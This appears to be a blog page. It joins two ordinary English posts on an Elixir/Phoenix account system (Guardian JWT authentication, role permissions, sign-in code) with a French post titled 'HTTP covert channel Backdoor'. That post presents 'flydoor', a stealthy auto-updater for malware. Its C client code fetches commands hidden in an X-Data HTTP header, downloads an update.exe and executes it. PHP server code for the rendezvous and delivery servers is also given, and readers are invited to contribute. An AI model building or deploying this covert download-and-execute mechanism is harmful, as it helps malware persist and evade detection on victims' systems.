Elixir: Account Management

We'll begin our Elixir journey with the account management system. Stay tuned, more are comings :)

Our project use a PostgreSQL database as datastore. We do not need any temporary datastore for now, but if we needed to we could use Mnesia for temporary persisted data.

Our authentication system is totally based upon Elixir Guardian library. Uberauth that made the previous package, also provides another library allowing us to follow the OAuth 2 standard seamlessly. We also needed the JWT token management provided by the library for our mobile device clients.

So how did we implement it ? As shown in the quick tutorial Guardian offers some modules that we used. One is Guardian.Plug allowing us to plug the authentication and authorization system directly into Phoenix. Another is Guardian.DB allowing us to store emitted tokens in a database and invalidate them if necessary. The last one that we’ll use is Guardian.Permissions for roles based authorization system.

So let’s have a look to our router.ex :

use MyAppWeb, :router

pipeline :api do
  plug(:accepts, ["json", "json-api"])
end

pipeline :api_auth do
  plug(:accepts, ["json", "json-api"])

  plug(
    Guardian.Plug.Pipeline,
    module: MyApp.Account.Guardian,
    error_handler: MyApp.Account.AuthErrorHandler
  )

  plug(Guardian.Plug.VerifySession, claims: %{"typ" => "access"})

  plug(Guardian.Plug.VerifyHeader, claims: %{"typ" => "access"})

  plug(Guardian.Plug.EnsureAuthenticated)

  plug(Guardian.Plug.LoadResource)
end

pipeline :api_admin do
  plug(Guardian.Permissions.Bitwise, ensure: %{admin: [:all]})
end

pipeline :api_user do
  plug(Guardian.Permissions.Bitwise, ensure: %{user: [:all]})
end

pipeline :api_admin_or_user do
  plug(
    Guardian.Permissions.Bitwise,
    one_of: [
      %{admin: [:all]},
      %{user: [:all]}
    ]
  )
end

As you can see we defined 5 pipelines based on the required rights that our customers will need. First the :api is a simple pipeline for public routes like our health check URL. Next the :api_auth defines the protected pipeline based on our specific authentication system as of the error handler or how we should receive and parse the JWT Token. The next 3 other pipelines define the roles and actions available in our application. The last pipeline is interesting because it combines the preceding 2 roles so the user is part of the user group or the admin group.

Let’s have a closer look to our account management module that will manage our token and authorizations.

For that we’ll need to take a step back and understand how the token authentication works.




As you can see the token is generated after credentials validation (sign in) by the server. To check credentials we use a basic hash algorithm with salt so we store safely the user password. When we generate the token we also store the user role defined permissions in it so we can check in the router if the user does have the correct rights (actually this step is managed by Guardian).


defmodule MyApp.Account.Guardian do
  use Guardian,
    otp_app: :gi_api,
    permissions: %{
      default: [:all],
      admin: [:all],
      user: [:all]
    }

  use Guardian.Permissions.Bitwise

  import Ecto.Query

  alias MyApp.Repo

  alias MyApp.Account.User

  def subject_for_token(%{id: id}, _claims) do
    sub = to_string(id)

    {:ok, sub}
  end

  def subject_for_token(_, _) do
    {:error, :reason_for_error}
  end

  def resource_from_claims(%{"sub" => id}) do
    resource =
      User
      |> where(id: ^id)
      |> Repo.one!()

    {:ok, resource}
  end

  def resource_from_claims(_claims) do
    {:error, :reason_for_error}
  end

  def after_encode_and_sign(resource, claims, token, _options) do
    with {:ok, _} <- Guardian.DB.after_encode_and_sign(resource, claims["typ"], claims, token) do
      {:ok, token}
    end
  end

  def on_verify(claims, token, _options) do
    with {:ok, _} <- Guardian.DB.on_verify(claims, token) do
      {:ok, claims}
    end
  end

  def on_revoke(claims, token, _options) do
    with {:ok, _} <- Guardian.DB.on_revoke(claims, token) do
      {:ok, claims}
    end
  end

  def build_claims(claims, _resource, opts) do
    claims =
      claims
      |> encode_permissions_into_claims!(Keyword.get(opts, :permissions))

    {:ok, claims}
  end
end

defmodule MyApp.Account.AuthErrorHandler do
  use MyAppWeb, :controller

  def auth_error(conn, {_type, _reason}, _opts) do
    conn
    |> put_resp_header("content-type", "application/json")
    |> put_status(:unauthorized)
    |> render(MyAppWeb.ErrorView, "401.json")
  end
end

The AuthErrorHandler will just show a 401 Unauthorized when unable to authenticate. We could add some Logging there for debug purposes as of the reason is provided. Guardian allows us to define some custom hooks in the module to manage token serialization and deserialization. So we used it to encode the use id in the token and to get it back from database on deserialization (subject_for_token/2 and resource_from_claims/1)

We also use the default handlers provided by Guardian.DB to store the token on sign in and remove it on sign out from our database. As you can see we have a pretty customizable authentication and authorization system, so let’s see how to use it.

Next we see the defined routes for the authentication system we’ll use. We followed the Uberauth recommendations for a local login.

scope "/auth", MyAppWeb do
  pipe_through([:api])

  post("/signup", AuthController, :signup)

  get("/:provider/callback", AuthController, :callback)

  post("/:provider/callback", AuthController, :callback)
end

scope "/auth", MyAppWeb do
  pipe_through([:api_auth])

  delete("/signout", AuthController, :signout)
end


So the only protected route here is the signout which will only call the Guardian.revoke/1 function that will execute the on_revoke/3 hook defined earlier in our Account.Guardian module.

Let’s have a look to our sign in internal code to see how we generate the token and store it in the connection struct returned to clients.


def sign_in(conn, %User{email: email}, password) do
  with {:ok, %User{} = user} <- get_by_email(email) do
    case authenticate(user, password) do
      true ->
        perms =
          Enum.reduce(user.roles, %{}, fn role, acc ->
            Map.put(acc, role.name, Guardian.max())
          end)

        auth_conn = Guardian.Plug.sign_in(conn, user, %{}, ttl: {1, :day}, permissions: perms)

        {:ok, auth_conn}

      _error ->
        {:error, :not_found}
    end
  end
end

defp authenticate(user, password) when not is_nil(user) do
  Comeonin.Bcrypt.checkpw(password, user.password)
end


This is how we store the user attached roles in the token with max permissions when we authenticate successfully based on the provided password. We could add some extra information in the token using the third argument of Guardian.Plug.sign_in/4.

Now that we have an authentication system we need to define our authentication protocol to work with any client. This is where OAuth 2 is useful because it’s a known standard for authentication and resources access. For reminding, there is a simplified diagram of how it works.



In our application to be able to manage various authentication providers as presented in the diagram, we need to have a route as access redirect URL, in our example it is named: /:provider/callback.

For our local signing feature we’ll use the default provider called identity which is used for a simple login, password sign in.


def callback(%{assigns: %{ueberauth_auth: auth}} = conn, params) do
  sign_in_user(conn, basic_info(auth), params)
end

defp basic_info(%Auth{} = auth) do
  %User{email: auth.info.email, password: auth.credentials.other.password}
end


The interesting part is how is structured the uberauth object that we get from the library. It contains an info field with the provided email and a credentials field with the password. Then we call our sign_in_user/3 function showed a little earlier to attach the token to the connection.

Annnd that’s it, you should have a working Authentication/Authorization manager following the principles of OAuth 2 protocol specification. You can go much further on the subject by looking to what is a refresh token and how to manage this in your client or searching more informations on how to implement other providers like Facebook or Google auth in your application.

Next we'll see how to add a Forgot Password feature using Elixir and Phoenix.

Elixir Journey

I’ve been working on a blockchain oriented project for some months now, and I wanted to share with you this exciting journey I’m in working on a Phoenix, Elixir, Erlang stack.


For those who do not knows what the Elixir programming language is, we’ll do a real quick recap. Elixir is a programming language created on top of Erlang by a Ruby core developers. The syntax is purposely Ruby oriented, but follows the Functional Oriented Erlang programming paradigm. Erlang was created in the 90’s for telecommunication systems, thus it was designed to be concurrency oriented and offers some error recovery. On top of that we use the Phoenix framework for industry oriented development and to ease maintainability.

This story will be about how we made our system using some useful Elixir packages available on Hex package manager. It is not a tutorial about Elixir programming but I’ll try to explain as much as possible the under-layers of our choices.

So let’s begin by some of the functionalities we needed for our system. First of all we need a way for users to create an account and sign in. Then, of course, we’ve seen that we needed a forgot password feature because a password not lost is not a good password :)

Then we needed user to add, edit and delete data in the system but with the special feature of logging every modifications done to the data. The purpose is to save these modifications as a signed timestamped log stored in our datastore to keep track of them. This way everyone should be able to access the data information and check what and when was the data modified.

We also needed a notification system allowing users to be informed of administrative notifications. This particular problem is very well solved with Elixir/Phoenix as it propose a standardized Websocket implementation for communication between clients and server.

As said, we had some administrative resources to manage how the system work and to communicate with customers. So we added a role management system to protect these resources.

Because our application should be available on web browsers and mobile devices we provided a JSON API as Restful as possible :)

As you’d expect for a block chain based project we rely on some cryptography to secure our stored information data.

On top of this we also wanted to have some media attached to these resources, it could be documents or images. Of course, a thumbnail preview feature was required too.

These are the main features that were expected for the product, now we’ll dive into each one and see how we made it in Elixir. Be aware that because of time limits the proposed solutions are not always the best it could be so use this information carefully.

So stay tuned for the next post, we'll begin with account management.

HTTP covert channel Backdoor

Preface

Je regardais mon flux de news l'autre jour et je suis tombé sur un article expliquant que le nombre d'attaques via PowerShell était en net augmentation. Un exemple expliquait qu'il y avait eu des cas d’exécution de fichier sans écriture sur le disque. Je me suis alors rappeler de cet article que j'avais écrit il y a un petit moment expliquant comment récupérer un fichier en ligne via un canal cache. Je l'utilisais a l’époque pour ma backdoor qui l’exécutée en mémoire via le framework .Net. J'ai du retirer le code en question. L'article date de 2012, autant vous dire que ce qui est présenté comme une recrudescence d'attaque n'est pas vraiment nouveau.

Introduction

Cher lecteur, bonjour. Je vais aujourd'hui vous présenter le principe de flydoor. L'idée m'est venue à l'esprit après avoir lu un article sur le logiciel Loic (permettant de faire des DoS) développé par les Anonymous qui souffrait d'un bug que certains administrateurs avaient exploité pour se protéger d'éventuelles attaques DDoS. 

Aujourd'hui nous connaissons tous le principe de l'auto-update qui permet la mise à jour de vos logiciels de manière automatisée. Ces petits programmes vous permettent d'avoir des logiciels toujours à jour et de corriger les éventuels bugs. 

Il m'est donc venu à l'idée la mise en place d'un tel outil pour vos chers petits malwares. En effet, aujourd'hui de nombreux malwares sont des logiciels à part entière, avec leur part de bugs et d'améliorations possibles. 

J'ai donc réaliser un programme de mise à jour automatisée de manière la plus discrète et robuste possible dont voici donc le schéma de principe.

Schéma de principe

L'idée étant que le programme devra être capable de résister à une tentative de suppression du système de mise à jour. Pour cela je me suis inspiré du système des trackers du réseau torrent. En effet le programme va, dans un premier temps récupérer, auprès du serveur mandataire, l'adresse du serveur de mise à jour. Suite à cela il va vérifier que le fichier disponible sur le serveur est plus récent que l'actuel (à l'aide d'un CRC32), le télécharger et le lancer le cas échéant. Tout cela camouflé à l'aide d'un covert channel HTTP ([1] [2]

in memory file execution
Voici donc le processus décrit en entier : 1. Requête HTTP POST au serveur mandataire pour récupérer le serveur de téléchargement. 2. Requête HTTP POST au serveur de téléchargement pour récupérer le hash du nouveau fichier. 3. Vérification du hash du nouveau fichier par rapport à celui présent sur la machine locale. 4. Téléchargement de la mise à jour par requête HTTP GET et vérification de l'intégrité du fichier. 5. Lancement de la mise à jour.

Programmation

Maintenant que nous avons l'architecture de notre application, il ne reste plus qu'à la coder \o/. 

Nous pouvons tout de suite voir que nous avons un nombre important de requêtes HTTP à réaliser, ce qui nous amène à choisir la librairie curl [3] pour nous faciliter la tâche. 

De plus j'ai choisi de transmettre les données par le biais de l'en-tête HTTP sous la forme d'un « pseudo » canal caché. Il nous faudra donc une librairie permettant d'utiliser les expressions régulières pour parser les en-têtes. Nous prendrons donc pcre [4] qui est une référence. 

Pour finir, nous aurons également besoin de calculer des sommes de contrôle. Pour cela j'ai opté pour la librairie zlib [5]. Ce choix a également été motivé par les possibilités qu'offre cette librairie pour les évolutions futures du logiciel. 

Dans un premier temps on va initialiser la librairie curl :
CURL *curl;
CURLcode res;

curl = curl_easy_init();

Je ne vais pas refaire un tutoriel sur l'utilisation de la librairie curl [3], je vous renvoie pour cela à la documentation de la librairie. Ce qu'il faut savoir c'est que la majorité des commandes se font par le biais de la fonction curl_easy_setopt.

Après initialisation, nous allons donc récupérer l'adresse du serveur de mise à jour : 

if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, MANDATORYSERVER);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=110a3755713adadcc2b9f3301c12d358"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_server);

res = curl_easy_perform(curl);
}

Ce code défini que nous envoyons une requête POST à MANDATORYSERVER avec comme argument name et le hash de “getbubbles”. Nous définissons également que la fonction get_ server doit effectuer le traitement de l'header HTTP reçu en réponse. Le prototype de la fonction est le suivant : 

static size_t get_server(void* ptr, size_t size, size_t nmemb, void* userdata)

Il s'agit du prototype générique pour la majorité des handler de la libcurl. L'argument ptr contient les données reçues, size, la taille des données, nmemb, la taille du type de données et userdata qui permet de passer des arguments supplémentaires. Dans notre cas, cette fonction fait appel à get_data qui s'occupe de parser le header HTTP. J'ai choisi d'utiliser l'entête X-Data pour transmettre les données. 

Voici un exemple :
< HTTP/1.1 200 OK
< Date: Tue, 12 Apr 2011 21:36:51 GMT
< Server: Apache/1.3.34 (Ubuntu)
< X-Powered-By: PHP/4.4.9-1.standard
< X-Data: 4884da7754823b44ccc2b2106f21146e

< Transfer-Encoding: chunked
< Content-Type: text/html

Ainsi donc la fonction get_data s'occupe de récupérer la somme MD5 pour l'exemple précédent. Voici le code de la routine en question.

#define PATTERN "(X-Data:) (.+)$"
re = pcre_compile( pattern, 0, &error, &erroffset, NULL);
if (re != NULL) {
    rc = pcre_exec( re, NULL, line, size*nmemb, 0, 0, ovector, OVECCOUNT);
    if (rc > 0) {
        int i = 2;
        char *substring_start = line + ovector[2*i];
        int substring_length = ovector[2*i+1] - ovector[2*i];
        strncpy_s(to, 512, substring_start, substring_length);
        pcre_free(re);
    }
}

Pour cette partie nous utilisons donc la librairie pcre. On peut voir que l'expression régulière chargée de récupérer les données est extrêmement simple, elle récupère tout ce qui suit le champ X-Data. Bien sûr libre à l'utilisateur de la modifier \o/. 

Dans notre exemple nous récupérons donc dans un premier temps l'adresse du serveur de mise à jour. Ensuite nous interrogeons le serveur pour obtenir le nom et le hash de la mise à jour. Cela se fait grâce à une requête POST avec comme paramètre name et comme valeur le MD5 de la commande “getfile” et de la commande “getsum”. 

// commande name = getfile
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=b24ba6d783f2aa471b9472109a5ec0ee"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_filename);
Suivi de :

// commande name = getsum
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=9ea01aea19194742b87d3663a3be06af"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_crc32);

Si ce hash est différent du fichier local, alors on récupère le fichier par une méthode GET :

FILE *fp;

if(curl)
{
    fp = fopen(output, "wb");
    curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
    curl_easy_setopt(curl, CURLOPT_URL, tmp);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
    res = curl_easy_perform(curl);
    fclose(fp);
}

Une fois le fichier récupéré, on l'exécute avec les arguments passés à notre utilitaire : 

_execv(update_filename, argv);

Et voilà \o/ la mise à jour a été réalisée avec succès. Vous pouvez enfin nettoyer toutes les ressources allouées pendant l'exécution du programme. 

Ceci étant pour le code côté client. Du côté serveur nous avons donc besoin d'un serveur HTTP. Dans notre exemple, un serveur Apache. Mais n'importe quel serveur peut faire l'affaire. Je vais donc vous présenter le code PHP du serveur tel que je l'ai réalisé. 

Le serveur mandataire s'occupe donc de vérifier que les serveurs de mise à jour sont en ligne et renvoie le premier serveur de la liste : 

<?php
$adresses = array("http://127.0.0.1:80/test/delivery.php");

if ($_POST["name"] == md5("getbubbles"))
{
    foreach($adresses as $adresse)
    {
        if(@file_get_contents($adresse))
        {
            header("X-Data: http://".$adresse.'/');
            break;
        }
    }
}
?>

Du côté du serveur de mise à jour, le code est extrêmement simple puisqu'il s'occupe de retourner le nom du fichier de mise à jour et la somme MD5 : 

<?php
$backdoor = "http://127.0.0.1:80/test/update.exe";

$crc32 = sprintf( "%u", crc32(file_get_contents($backdoor)));

if (isset($_POST["name"]))
{

}

if ($_POST["name"] == md5("getfile"))
header("X-Data: ".$backdoor);
if ($_POST["name"] == md5("getsum"))
header("X-Data: ".$crc32 );

?>

Conclusion

Pour le moment seul un covert channel HTTP a été implémenté mais on pourrait imaginer d'autres types de covert channel (DNS, ICMP ou autre). On aurait aussi pu implémenter une routine permettant de choisir le serveur de mise à jour de manière aléatoire pour éviter les requêtes répétées en direction du même serveur. De plus le code reste à améliorer grandement, pour le moment il ne s'agit que de l'ossature de l'application mais toute aide extérieure sera appréciée \o/. 

Voilà, j'espère que cette présentation vous aura permis d'apprendre pas mal de choses et je me permets maintenant de lancer un appel à la communauté. J'ai créé un hébergement google code pour le projet et j'espère que vous prendrez le temps d'y jeter un œil voir même d'y participer \o/.

Bibliographie


  1. [1] Frenchy Covert Channel, Flyers
  2. [2] Tunneling et canaux cachés au sein du protocole HTTP, Simon Castro
  3. [3] Libcurl
  4. [4] Libpcre
  5. [5] Zlib

Flyers

Most seen